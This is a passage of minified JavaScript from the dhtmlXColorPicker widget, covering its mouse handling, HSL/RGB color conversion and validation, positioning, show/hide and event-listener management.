o=h._getOffsetPosition(l,h._controllerNodes.colorArea);if(h._controllerNodes.fr_cover){setTimeout(function(){h._setColorAreaXY(o.x,o.y);h._setColorByXYC()},0)}else{h._setColorAreaXY(o.x,o.y);h._setColorByXYC()}return false};this._initMoveContrast=function(l){l=l||event;if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousemove\",h._setMoveContrast,false);document.body.addEventListener(\"mouseup\",h._cleanMoveContrast,false)}else{document.body.attachEvent(\"onmousemove\",h._setMoveContrast);document.body.attachEvent(\"onmouseup\",h._cleanMoveContrast)}h._setMoveContrast(l,h._controllerNodes.contrastArea)};this._cleanMoveContrast=function(){if(typeof(window.removeEventListener)==\"function\"){document.body.removeEventListener(\"mousemove\",h._setMoveContrast,false);document.body.removeEventListener(\"mouseup\",h._cleanMoveContrast,false)}else{document.body.detachEvent(\"onmousemove\",h._setMoveContrast);document.body.detachEvent(\"onmouseup\",h._cleanMoveContrast)}};this._setMoveContrast=function(l){l=l||event;var o=h._getOffsetPosition(l,h._controllerNodes.contrastArea);h._setContrastY(o.y);h._setColorByXYC(true)};this._doOnSelectColor=function(){var l=h.colorAIP.rgb2hex({r:h.value.red,g:h.value.green,b:h.value.blue});if(h.activeNode!=null){if(h.activeNode.valueCont){h.activeNode.valueCont.value=l}if(h.activeNode.valueColor){h.activeNode.valueColor.style.backgroundColor=l}}if(h.base._dhx_remove||h.conf.hideOnSelect){h.hide()}h.callEvent(\"onSelect\",[l,((h.activeNode)?h.activeNode.node:null)])};this._doOnCancel=function(){if(h.callEvent(\"onCancel\",[((h.activeNode)?h.activeNode.node:null)])==true&&h.conf.closeable==true){h.hide()}};this._doOnFocusByInput=function(){var o=(this!=window)?this:event.srcElement;var l=(h.activeNode&&h.activeNode.valueCont&&h.activeNode.valueCont==o)?h.activeNode:h._getNodeByValueCont(o);h.activeNode=l;if(l&&l==h.activeNode){h._initListenerInput()}};this._doOnBlurByInput=function(){var o=(this!=window)?this:event.srcElement;var l=(h.activeNode&&h.activeNode.valueCont&&h.activeNode.valueCont==o)?h.activeNode:h._getNodeByValueCont(o);if(l&&l==h.activeNode){h._removeListenerInput()}};this._doOnClickByNode=function(o){o=o||event;var l=(this!=window)?this:event.srcElement;h.activeNode=(h.activeNode.node!=l)?h._getNodeByElement(l):h.activeNode;if(!h.isVisible()){h.show()}};this.saveColor=function(){h.memory.setValue(h.value)};this._onSelectMemoryEl=function(o){var l;h._refreshCoordinatesByHSL(o.value.hue,o.value.sat,o.value.lum);for(l in o.value){h.value[l]=o.value[l]}h._refreshContrast();h._refreshInputValues();h._refreshColorValue()};this._doOnClickByBody=function(q){q=q||event;var l=true,o=q.target||q.srcElement;if(h._isBaseNode(o)){l=false}if(l&&h.activeNode&&(h.activeNode.node==o||h.activeNode.valueCont==o)){l=false}if(l){h.hide()}};this._doOnChangeHSL=function(){var q=parseInt(h._controllerNodes.hue.value),o=parseInt(h._controllerNodes.sat.value),l=parseInt(h._controllerNodes.lum.value),r;if(isNaN(q)||q>359||q<0){h._controllerNodes.hue.value=h.value.hue}else{h.value.hue=q}if(isNaN(o)||o>100||o<0){h._controllerNodes.sat.value=h.value.sat}else{h.value.sat=o}if(isNaN(l)||l>100||l<0){h._controllerNodes.lum.value=h.value.lum}else{h.value.lum=l}r=h.colorAIP.hsl2rgb(h.value.hue,h.value.sat/100,h.value.lum/100);h.value.red=Math.round(255*r.r);h.value.green=Math.round(255*r.g);h.value.blue=Math.round(255*r.b);h._refreshCoordinatesByHSL(h.value.hue,h.value.sat,h.value.lum);h._refreshContrast();h._refreshInputValues();h._refreshColorValue()};this._doOnChangeRGB=function(){var r=parseInt(h._controllerNodes.red.value),q=parseInt(h._controllerNodes.green.value),l=parseInt(h._controllerNodes.blue.value),o;if(isNaN(r)||r>255||r<0){h._controllerNodes.red.value=h.value.red}else{h.value.red=r}if(isNaN(q)||q>255||q<0){h._controllerNodes.green.value=h.value.green}else{h.value.green=q}if(isNaN(l)||l>255||l<0){h._controllerNodes.blue.value=h.value.blue}else{h.value.blue=l}o=h.colorAIP.rgb2hsl(h.value.red/255,h.value.green/255,h.value.blue/255);h.value.hue=Math.round(o.h);h.value.sat=Math.round(o.s*100);h.value.lum=Math.round(o.l*100);h._refreshCoordinatesByHSL(h.value.hue,h.value.sat,h.value.lum);h._refreshContrast();h._refreshInputValues();h._refreshColorValue()};this._doOnChangeHSV=function(){h._controllerNodes.hsv.value=h.setColor(h._controllerNodes.hsv.value)};this._checkType=function(o){var l;if(o instanceof Array){l=h._checkType(o[0]);switch(l){case\"string\":return\"array_string\";break;case\"input\":case\"textarea\":return\"array_input\";break;case\"object\":return\"array_object\";break;default:return undefined}}else{if(o==undefined){return null}else{if(typeof(o)==\"string\"){return\"string\"}else{if(o.tagName&&o.tagName.toLowerCase()==\"input\"){return\"input\"}else{if(o.tagName&&o.tagName.toLowerCase()==\"textarea\"){return\"textarea\"}else{if(o.tagName){return\"container\"}else{if(typeof(o)==\"object\"){return\"object\"}else{return undefined}}}}}}}};this._initByObject=function(l){if(l.parent&&l.parent.tagName){h.base=l.parent}else{if(typeof(l.parent)==\"string\"){h.base=document.getElementById(l.parent)}else{h.base=document.createElement(\"div\");h.base._dhx_remove=true}}if(l.color){h.conf.selectedColor=l.color}if(typeof(l.closeable)!=\"undefined\"){this.conf.closeable=dhx4.s2b(l.closeable)}if(l.custom_colors){this._tempInitCC=function(){var r,q;this.initMemoryColors();this.conf.customColors=true;if(l.custom_colors instanceof Array){q=l.custom_colors.length;for(r=0;r<q;r++){this.setCustomColors(l.custom_colors[r])}}if(this.base.parentNode){this.showMemory()}delete this._tempInitCC}}if(l.hide){h.conf.hide=true}if(l.input){h._addNode(l.input,l.target_color,l.target_value)}var o=l.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxcolorpicker\")||\"dhx_skyblue\";h.setSkin(o);if(l.colors){h.initMemoryColors();h.conf.customColors=true}if(l.link){h._addNode(l.link)}};this.unload=function(){var r,o,q;if(this.isVisible()){this.hide()}this.destructMemory();o=this._nodes.length;for(r=0;r<o;r++){this._detachEventsFromNode(this._nodes[r]);for(q in this._nodes[r]){this._nodes[r][q]=null}delete this._nodes[r]}this._nodes=null;if(!this.base._dhx_remove){this.base.className=this.base.className.replace(/\\s?dhtmlxcp_\\S*/,\"\")}else{delete this.base._dhx_remove}if(typeof(window.addEventListener)==\"function\"){this._controllerNodes.colorArea.removeEventListener(\"mousedown\",this._initMoveSelection,false);this._controllerNodes.colorArea.removeEventListener(\"dblclick\",this._doOnSelectColor,false);this._controllerNodes.contrastArea.removeEventListener(\"mousedown\",this._initMoveContrast,false);this._controllerNodes.button_save.removeEventListener(\"click\",this._doOnSelectColor,false);this._controllerNodes.button_cancel.removeEventListener(\"click\",this._doOnCancel,false);this._controllerNodes.hue.removeEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.sat.removeEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.lum.removeEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.red.removeEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.green.removeEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.blue.removeEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.hsv.removeEventListener(\"change\",this._doOnChangeHSV,false)}else{this._controllerNodes.colorArea.detachEvent(\"onmousedown\",this._initMoveSelection);this._controllerNodes.colorArea.detachEvent(\"ondblclick\",this._doOnSelectColor);this._controllerNodes.contrastArea.detachEvent(\"onmousedown\",this._initMoveContrast);this._controllerNodes.button_save.detachEvent(\"onclick\",this._doOnSelectColor);this._controllerNodes.button_cancel.detachEvent(\"onclick\",this._doOnCancel);this._controllerNodes.hue.detachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.sat.detachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.lum.detachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.red.detachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.green.detachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.blue.detachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.hsv.detachEvent(\"onchange\",this._doOnChangeHSV)}if(this._controllerNodes.fr_cover){if(this._controllerNodes.fr_cover.parentNode){this._controllerNodes.fr_cover.parentNode.removeChild(this._controllerNodes.fr_cover)}delete this._controllerNodes.fr_cover}dhx4.zim.clear(this.conf.cp_id);dhx4._eventable(this,\"clear\");for(q in this){this[q]=null}h=null,m=null,c=null};g=this._checkType(n);switch(g){case\"object\":h._initByObject(n);break;case\"input\":case\"textarea\":h._initByObject({});this._addNode(n);break;case\"string\":m=document.getElementById(n);return new dhtmlXColorPicker(m);break;case\"container\":h._initByObject({parent:n});break;case null:h._initByObject({});break;case\"array_string\":case\"array_input\":h._initByObject({});a=n.length;for(e=0;e<a;e++){this._addNode(n[e])}break;case\"array_object\":h._initByObject({});a=n.length;for(e=0;e<a;e++){c=this._addNode(n[e].input,n[e].target_color,n[e].target_value).conf;c.customColors=(n[e].custom_colors!=undefined)?dhx4.s2b(n[e].custom_colors):c.customColors;c.selectedColor=(n[e].color!=undefined)?n[e].color:c.selectedColor}break}this.base.innerHTML=\"<div class='dhxcp_g_area'><div class='dhxcp_sub_area'><div class='dhxcp_g_color_area'><div class='dhxcp_color_selector'><div class='dhxcp_v_line'></div><div class='dhxcp_h_line'></div></div><div class='dhxcp_contrast_area'><div class='dhxcp_h_line'></div></div></div><div class='dhxcp_g_input_area'><div class='dhxcp_value_cont'><div class='dhxcp_value_color'></div><input type='text' class='dhxcp_value'/></div><table class='dhxcp_inputs_cont' cellpadding='0' cellspacing='0' border='0'><tr><td class='dhxcp_label_hsl'>\"+this.i18n[this.conf.lang].labelHue+\"</td><td class='dhxcp_input_hsl'><input type='text' class='dhxcp_input_hsl'/></td><td class='dhxcp_label_rgb'>\"+this.i18n[this.conf.lang].labelRed+\"</td><td class='dhxcp_input_rgb'><input type='text' class='dhxcp_input_rgb'/></td></tr><tr><td class='dhxcp_label_hsl'>\"+this.i18n[this.conf.lang].labelSat+\"</td><td class='dhxcp_input_hsl'><input type='text' class='dhxcp_input_hsl'/></td><td class='dhxcp_label_rgb'>\"+this.i18n[this.conf.lang].labelGreen+\"</td><td class='dhxcp_input_rgb'><input type='text' class='dhxcp_input_rgb'/></td></tr><tr><td class='dhxcp_label_hsl'>\"+this.i18n[this.conf.lang].labelLum+\"</td><td class='dhxcp_input_hsl'><input type='text' class='dhxcp_input_hsl'/></td><td class='dhxcp_label_rgb'>\"+this.i18n[this.conf.lang].labelBlue+\"</td><td class='dhxcp_input_rgb'><input type='text' class='dhxcp_input_rgb'/></td></tr></table></div><div class='dhxcp_g_memory_area'></div><div class='dhxcp_buttons_area'><button class='dhx_button_save'>\"+this.i18n[this.conf.lang].btnSelect+\"</button><button class='dhx_button_cancel'>\"+this.i18n[this.conf.lang].btnCancel+\"</button></div></div>\";\"</div>\";this._globalNode=this.base.firstChild;this._controllerNodes={colorArea:this._globalNode.firstChild.firstChild.firstChild,v_line:this._globalNode.firstChild.firstChild.firstChild.childNodes[0],h_line:this._globalNode.firstChild.firstChild.firstChild.childNodes[1],contrastArea:this._globalNode.firstChild.firstChild.childNodes[1],contrast_line:this._globalNode.firstChild.firstChild.childNodes[1].firstChild,color:this._globalNode.firstChild.childNodes[1].childNodes[0].firstChild,hsv:this._globalNode.firstChild.childNodes[1].childNodes[0].childNodes[1],hue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].childNodes[1].firstChild,sat:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].childNodes[1].firstChild,lum:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].childNodes[1].firstChild,red:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].childNodes[3].firstChild,green:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].childNodes[3].firstChild,blue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].childNodes[3].firstChild,memory_block:this._globalNode.firstChild.childNodes[2],button_save:this._globalNode.firstChild.childNodes[3].firstChild,button_cancel:this._globalNode.firstChild.childNodes[3].childNodes[1]};this._labelNodes={labelHue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].firstChild,labelSat:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].firstChild,labelLum:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].firstChild,labelRed:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].childNodes[2],labelGreen:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].childNodes[2],labelBlue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].childNodes[2],btnAddColor:null,btnSelect:this._globalNode.firstChild.childNodes[3].firstChild,btnCancel:this._globalNode.firstChild.childNodes[3].childNodes[1]};if(typeof(this._tempInitCC)==\"function\"){this._tempInitCC()}if(typeof(window.addEventListener)==\"function\"){this._controllerNodes.colorArea.addEventListener(\"mousedown\",this._initMoveSelection,false);this._controllerNodes.colorArea.addEventListener(\"dblclick\",this._doOnSelectColor,false);this._controllerNodes.contrastArea.addEventListener(\"mousedown\",this._initMoveContrast,false);this._controllerNodes.button_save.addEventListener(\"click\",this._doOnSelectColor,false);this._controllerNodes.button_cancel.addEventListener(\"click\",this._doOnCancel,false);this._controllerNodes.hue.addEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.sat.addEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.lum.addEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.red.addEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.green.addEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.blue.addEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.hsv.addEventListener(\"change\",this._doOnChangeHSV,false)}else{this._controllerNodes.colorArea.attachEvent(\"onmousedown\",this._initMoveSelection);this._controllerNodes.colorArea.attachEvent(\"ondblclick\",this._doOnSelectColor);this._controllerNodes.contrastArea.attachEvent(\"onmousedown\",this._initMoveContrast);this._controllerNodes.button_save.attachEvent(\"onclick\",this._doOnSelectColor);this._controllerNodes.button_cancel.attachEvent(\"onclick\",this._doOnCancel);this._controllerNodes.hue.attachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.sat.attachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.lum.attachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.red.attachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.green.attachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.blue.attachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.hsv.attachEvent(\"onchange\",this._doOnChangeHSV)}this.setColor(this.conf.selectedColor||\"#ffffff\");if(this._nodes.length){for(var e=0;e<this._nodes.length;e++){this._attachEventsToNode(this._nodes[e])}}if(this.conf.hide){this.hide()}if(typeof(this._cpInitFRM)==\"function\"){this._cpInitFRM()}}dhtmlXColorPicker.prototype.linkTo=function(c,e,g){if(arguments.length==1){e=g=c}var a;c=c||null;g=g||null;if(typeof(e)==\"string\"){e=document.getElementById(e)}a=this._addNode(e,c,g);if(a){this._attachEventsToNode(a)}return a};dhtmlXColorPicker.prototype._isBaseNode=function(a){if(a==this.base){return true}if(a.parentElement==document.body){return false}else{if(!a.parentElement){return false}else{return this._isBaseNode(a.parentElement)}}};dhtmlXColorPicker.prototype._hasInput=function(e){var c,a,g=false;a=this._nodes.length;for(c=0;c<a;c++){if(this._nodes[c].valueCont==e){g=true;break}}return g};dhtmlXColorPicker.prototype._findNodesByArray=function(h){var e,a,c,g=[];a=h.length;for(e=0;e<a;e++){if(typeof(h[e])==\"string\"){c=document.getElementById(h[e])}else{c=h[e]}if(c){this._addNode(c)}}};dhtmlXColorPicker.prototype._addNode=function(h,m,l){var c,g,e,a;if(typeof(h)==\"string\"){c=document.getElementById(h)}else{c=h}if(typeof(m)==\"string\"){m=document.getElementById(m)}if(typeof(l)==\"string\"){l=document.getElementById(l)}if(!c){return null}if(dhx4.s2b(c.getAttribute(\"colorbox\"))){g=document.createElement(\"div\");g.style.width=c.offsetWidth+\"px\";g.style.height=c.offsetHeight+\"px\";c.style.width=c.offsetWidth-(c.offsetHeight+8)+\"px\";c.parentNode.insertBefore(g,c);g.style.position=\"relative\";e=document.createElement(\"div\");g.appendChild(c);g.appendChild(e);e.className=\"dhxcp_colorBox\";c.className+=\" dhxcp_colorInput\";e.style.width=e.style.height=c.offsetHeight+\"px\"}a={node:c,valueColor:(m!=undefined)?m:e||c,valueCont:(l!=undefined)?l:c,conf:{customColors:(c.getAttribute(\"customcolors\")!=null)?dhx4.s2b(c.getAttribute(\"customcolors\")):null,selectedColor:c.getAttribute(\"selectedcolor\")}};this._nodes.push(a);if(!this.activeNode){this.activeNode=a}return a};dhtmlXColorPicker.prototype.getNode=function(e){var a=null,c=null;if(typeof(e)==\"string\"){a=document.getElementById(e)}else{a=e}if(a.tagName!=undefined){c=this._getNodeByElement(a)}return c};dhtmlXColorPicker.prototype._getNodeByElement=function(e){var g=null,c,a;a=this._nodes.length;for(c=0;c<a;c++){if(this._nodes[c].node==e){g=this._nodes[c]}}return g};dhtmlXColorPicker.prototype._getNodeByValueCont=function(e){var g=null,c,a;a=this._nodes.length;for(c=0;c<a;c++){if(this._nodes[c].valueCont&&this._nodes[c].valueCont==e){g=this._nodes[c]}}return g};dhtmlXColorPicker.prototype.initMemoryColors=function(){var c=this;this._controllerNodes.memory_block.innerHTML=\"<div class='dhxcp_memory_button_cont'><button class='dhxcp_save_to_memory'><div class='dhxcp_label_bm'>\"+this.i18n[this.conf.lang].btnAddColor+\"</div></button></div><div class='dhxcp_memory_els_cont'><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a></div>\";this.memory=new this.Memory(this._controllerNodes.memory_block.childNodes[1]);this.memory.onSelect=this._onSelectMemoryEl;this.memory.onSave=function(g){var e=c.colorAIP.rgb2hex({r:g.red,g:g.green,b:g.blue});c.callEvent(\"onSaveColor\",[e])};var a=this._controllerNodes.memory_block.childNodes[0].firstChild;this._labelNodes.btnAddColor=this._controllerNodes.memory_block.childNodes[0].firstChild.firstChild;if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"click\",this.saveColor,false)}else{a.attachEvent(\"onclick\",this.saveColor)}};dhtmlXColorPicker.prototype._refreshCoordinatesByHSL=function(n,m,c){var a,g,e;a=Math.round((this.configColorArea.maxX-this.configColorArea.minX)*n/359)+this.configColorArea.minX;g=Math.round((this.configColorArea.maxY-this.configColorArea.minY)*(100-c)/100)+this.configColorArea.minY;e=Math.round((this.configColorArea.maxY-this.configColorArea.minY)*(100-m)/100)+this.configColorArea.minY;this._setColorAreaXY(a,g);this._setContrastY(e)};dhtmlXColorPicker.prototype._parseColor=function(e){if(e instanceof Array){var c={r:parseInt(e[0]),g:parseInt(e[1]),b:parseInt(e[2])}}else{if(typeof(e)==\"string\"){e=e.replace(/\\s/g,\"\");if(/^rgb\\((\\d{1,3})\\,(\\d{1,3})\\,(\\d{1,3})\\)$/i.test(e)){var a=e.match(/^rgb\\((\\d{1,3})\\,(\\d{1,3})\\,(\\d{1,3})\\)$/i);var c={r:parseInt(a[1]),g:parseInt(a[2]),b:parseInt(a[3])}}else{var c=this.colorAIP.hex2rgb(e)}}}return c};dhtmlXColorPicker.prototype.setColor=function(l){var c=this.colorAIP.rgb2hex({r:this.value.red,g:this.value.green,b:this.value.blue});var e=this._parseColor(l);var h=(e instanceof Object);h=h&&(0<=e.r&&e.r<=255);h=h&&(0<=e.g&&e.g<=255);h=h&&(0<=e.b&&e.b<=255);if(!h){return c}var g=this.colorAIP.rgb2hex({r:e.r,g:e.g,b:e.b});if(g==c){return c}this.value.red=e.r;this.value.green=e.g;this.value.blue=e.b;var a=this.colorAIP.rgb2hsl(e.r/255,e.g/255,e.b/255);this.value.hue=Math.round(a.h);this.value.sat=Math.round(a.s*100);this.value.lum=Math.round(a.l*100);this._refreshCoordinatesByHSL(this.value.hue,this.value.sat,this.value.lum);this._refreshContrast();this._refreshInputValues();this._refreshColorValue();return g};dhtmlXColorPicker.prototype.getSelectedColor=function(){return[this.colorAIP.rgb2hex({r:this.value.red,g:this.value.green,b:this.value.blue}),[this.value.red,this.value.green,this.value.blue],[this.value.hue,this.value.sat,this.value.lum]]};dhtmlXColorPicker.prototype._attachEventsToNode=function(a){if(typeof(window.addEventListener)==\"function\"){a.node.addEventListener(\"click\",this._doOnClickByNode,false)}else{a.node.attachEvent(\"onclick\",this._doOnClickByNode)}if(a.valueCont&&a.valueCont.tagName.toLowerCase()==\"input\"){if(typeof(window.addEventListener)==\"function\"){a.valueCont.addEventListener(\"focus\",this._doOnFocusByInput,false);a.valueCont.addEventListener(\"blur\",this._doOnBlurByInput,false)}else{a.valueCont.attachEvent(\"onfocus\",this._doOnFocusByInput);a.valueCont.attachEvent(\"onblur\",this._doOnBlurByInput)}}};dhtmlXColorPicker.prototype._detachEventsFromNode=function(a){if(typeof(window.addEventListener)==\"function\"){a.node.removeEventListener(\"click\",this._doOnClickByNode,false)}else{a.node.detachEvent(\"onclick\",this._doOnClickByNode)}if(a.valueCont&&a.valueCont.tagName.toLowerCase()==\"input\"){if(typeof(window.addEventListener)==\"function\"){a.valueCont.removeEventListener(\"focus\",this._doOnFocusByInput,false);a.valueCont.removeEventListener(\"blur\",this._doOnBlurByInput,false)}else{a.valueCont.detachEvent(\"onfocus\",this._doOnFocusByInput);a.valueCont.detachEvent(\"onblur\",this._doOnBlurByInput)}}};dhtmlXColorPicker.prototype.show=function(c){var a=false;if(c!=undefined){this.activeNode=this.getNode(c)||this.activeNode}if(this.activeNode&&this.activeNode.valueCont&&this.activeNode.valueCont.value){this.setColor(this.activeNode.valueCont.value)}if(this.activeNode){a=(this.activeNode.conf.customColors!=null?this.activeNode.conf.customColors:this.conf.customColors);this.setColor(this.activeNode.conf.selectedColor)}else{a=this.conf.customColors}if(a){this.showMemory()}else{this.hideMemory()}if(this.base._dhx_remove){this.base.firstChild.style.zIndex=dhx4.zim.reserve(this.conf.cp_id);this.base.style.visibility=\"hidden\";if(document.body.firstChild){document.body.insertBefore(this.base,document.body.firstChild)}else{document.body.appendChild(this.base)}this._refreshPosition();this.base.style.visibility=\"visible\";if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousedown\",this._doOnClickByBody,false)}else{document.body.attachEvent(\"onmousedown\",this._doOnClickByBody)}}else{this.base.appendChild(this._globalNode)}if(this._controllerNodes.fr_cover){this.base.insertBefore(this._controllerNodes.fr_cover,this._globalNode)}this.callEvent(\"onShow\",[((this.activeNode)?this.activeNode.node:null)])};dhtmlXColorPicker.prototype.setPosition=function(c,h){var g=null;var a=parseInt(c);var e=parseInt(h);if(isNaN(a)){g=({right:\"right\",bottom:\"bottom\"}[c.toLowerCase()]?c:null)}if(this.base._dhx_remove){if(g==null){}else{this.conf.position=g;this._refreshPosition(g)}}else{if(isNaN(a)||isNaN(e)){}else{this._globalNode.style.left=a+\"px\";this._globalNode.style.top=e+\"px\";if(this._controllerNodes.fr_cover){this._controllerNodes.fr_cover.style.left=this._globalNode.style.left;this._controllerNodes.fr_cover.style.top=this._globalNode.style.top}}}};dhtmlXColorPicker.prototype._initListenerInput=function(){var a=this;this._inputListenerId=this._inputListenerId||setInterval(function(){a._refreshValueByInput()},70)};dhtmlXColorPicker.prototype._removeListenerInput=function(){if(this._inputListenerId){clearInterval(this._inputListenerId);this._inputListenerId=null}};dhtmlXColorPicker.prototype._refreshValueByInput=function(){var c=this.activeNode.valueCont.value,a=this.getSelectedColor()[0];if(this._inputListenerId){if(/^#[\\da-f]{6}$/i.test(c)&&c!=a){this.setColor(c);this.callEvent(\"onSelect\",[c,this.activeNode.node])}}};dhtmlXColorPicker.prototype._refreshPosition=function(c){if(this.activeNode==null){return}var n=dhx4.absTop(this.activeNode.node);var a=dhx4.absLeft(this.activeNode.node);var g=dhx4.screenDim();var e=this._globalNode.offsetWidth;var h=this._globalNode.offsetHeight;var m=0;c=c||this.conf.position;switch(c){case\"bottom\":var m=n+this.activeNode.node.offsetHeight+this.conf.indent;var l=a;if(l+e>g.left+g.right){l=a+this.activeNode.node.offsetWidth-e}if(l<g.left){l=a}if(m+h>g.top+g.bottom){m=n-h-this.conf.indent}if(m-g.top<0){m=g.top+this.conf.indent}this._globalNode.style.top=m+\"px\";this._globalNode.style.left=l+\"px\";break;default:var l=a+this.activeNode.node.offsetWidth+this.conf.indent;m=n;if(c==\"right\"){if(l+e>g.left+g.right){l=a-e-this.conf.indent}if(l<g.left){l=a+this.activeNode.node.offsetWidth+this.conf.indent}}if(g.bottom-(m+h)<=0){m=n+this.activeNode.node.offsetHeight-h}if(m-g.top<0){m=g.top+this.conf.indent}this._globalNode.style.left=l+\"px\";this._globalNode.style.top=m+\"px\"}if(this._controllerNodes.fr_cover){this._controllerNodes.fr_cover.style.left=this._globalNode.style.left;this._controllerNodes.fr_cover.style.top=this._globalNode.style.top}};dhtmlXColorPicker.prototype.isVisible=function(){var a=false;if(this.base._dhx_remove){a=this.base.parentNode==document.body}else{a=this._globalNode.parentNode==this.base}return a};dhtmlXColorPicker.prototype.hide=function(){if(this.base._dhx_remove){if(this.base.parentNode){this.base.parentNode.removeChild(this.base);dhx4.zim.clear(this.conf.cp_id);if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"mousedown\",this._doOnClickByBody,false)}else{document.body.detachEvent(\"onmousedown\",this._doOnClickByBody)}}}else{if(this.isVisible()==false){return}this.base.removeChild(this._globalNode)}if(this._controllerNodes.fr_cover&&this._controllerNodes.fr_cover.parentNode){this._controllerNodes.fr_cover.parentNode.removeChild(this._controllerNodes.fr_cover)}if(this.callEvent!=undefined){this.callEvent(\"onHide\",[((this.activeNode)?this.activeNode.node:null)])}};dhtmlXColorPicker.prototype.configColorArea={minX:1,maxX:209,minY:1,maxY:119};dhtmlXColorPicker.prototype._skinCollection={dhx_skyblue:true,dhx_web:true,dhx_terrace:true};dhtmlXColorPicker.prototype.i18n={en:{labelHue:\"Hue\",labelSat:\"Sat\",labelLum:\"Lum\",labelRed:\"Red\",labelGreen:\"Green\",labelBlue:\"Blue\",btnAddColor:\"Save the color\",btnSelect:\"Select\",btnCancel:\"Cancel\"}};dhtmlXColorPicker.prototype.loadUserLanguage=function(a){if(typeof(this._mergeLangModules)==\"function\"){this._mergeLangModules()}this.conf.lang=a;this._refreshLanguage()};dhtmlXColorPicker.prototype._refreshLanguage=function(){var a,c=this.i18n[this.conf.lang];for(a in c){if(this._labelNodes[a]){this._labelNodes[a].innerHTML=c[a]}}};dhtmlXColorPicker.prototype._setColorAreaXY=function(a,e){var c=this.configColorArea;a=parseInt(a);if(c.minX>a){this.conf.x=c.minX}else{if(a>c.maxX){this.conf.x=c.maxX}else{if(!isNaN(a)){this.conf.x=a}}}e=parseInt(e);if(c.minY>e){this.conf.y=c.minY}else{if(e>c.maxY){this.conf.y=c.maxY}else{if(!isNaN(e)){this.conf.y=e}}}this._refreshLines()};dhtmlXColorPicker.prototype._setColorByXYC=function(c){c=c||false;this.value.hue=Math.round((359*(this.conf.x-this.configColorArea.minX))/(this.configColorArea.maxX-this.configColorArea.minX));this.value.lum=Math.round(100-(100*(this.conf.y-this.configColorArea.minY))/(this.configColorArea.maxY-this.configColorArea.minY));this.value.sat=Math.round(100-(100*(this.conf.c-this.configColorArea.minY))/(this.configColorArea.maxY-this.configColorArea.minY));var a=this.colorAIP.hsl2rgb(this.value.hue,this.value.sat/100,this.value.lum/100);this.value.red=Math.round(255*a.r);this.value.green=Math.round(255*a.g);this.value.blue=Math.round(255*a.b);if(!c){this._refreshContrast()}this._refreshInputValues();this._refreshColorValue()};dhtmlXColorPicker.prototype._setContrastY=function(c){var a=this.configColorArea;c=parseInt(c);if(!isNaN(c)){this.conf.c=Math.min(Math.max(a.minY,c),a.maxY)}this._refreshContrastLine()};dhtmlXColorPicker.prototype._refreshInputValues=function(){this._controllerNodes.hue.value=this.value.hue;this._controllerNodes.sat.value=this.value.sat;this._controllerNodes.lum.value=this.value.lum;this._controllerNodes.red.value=this.value.red;this._controllerNodes.green.value=this.value.green;this._controllerNodes.blue.value=this.value.blue};dhtmlXColorPicker.prototype._refreshColorValue=function(){this._controllerNodes.color.style.backgroundColor=\"rgb(\"+[this.value.red,this.value.green,this.value.blue].join(\", \")+\")\";var a=this.colorAIP.rgb2hex({r:this.value.red,g:this.value.green,b:this.value.blue});this._controllerNodes.hsv.value=a;this.callEvent(\"onChange\",[a])};dhtmlXColorPicker.prototype._refreshContrast=function(){var g=this.colorAIP.hsl2rgb(this.value.hue,0,this.value.lum/100);var h=this.colorAIP.hsl2rgb(this.value.hue,1,this.value.lum/100);var e=this._checkIeVersion();if(e&&e<=9){var l=this._controllerNodes.contrastArea.firstChild;if(l==this._controllerNodes.contrast_line){l=document.createElement(\"div\");l.className+=\"dhxcp_ie_gradient\";this._controllerNodes.contrastArea.appendChild(l);this._controllerNodes.contrastArea.appendChild(this._controllerNodes.contrast_line)}var c=this.colorAIP.rgb2hex({r:Math.round(255*g.r),g:Math.round(255*g.g),b:Math.round(255*g.b)});var 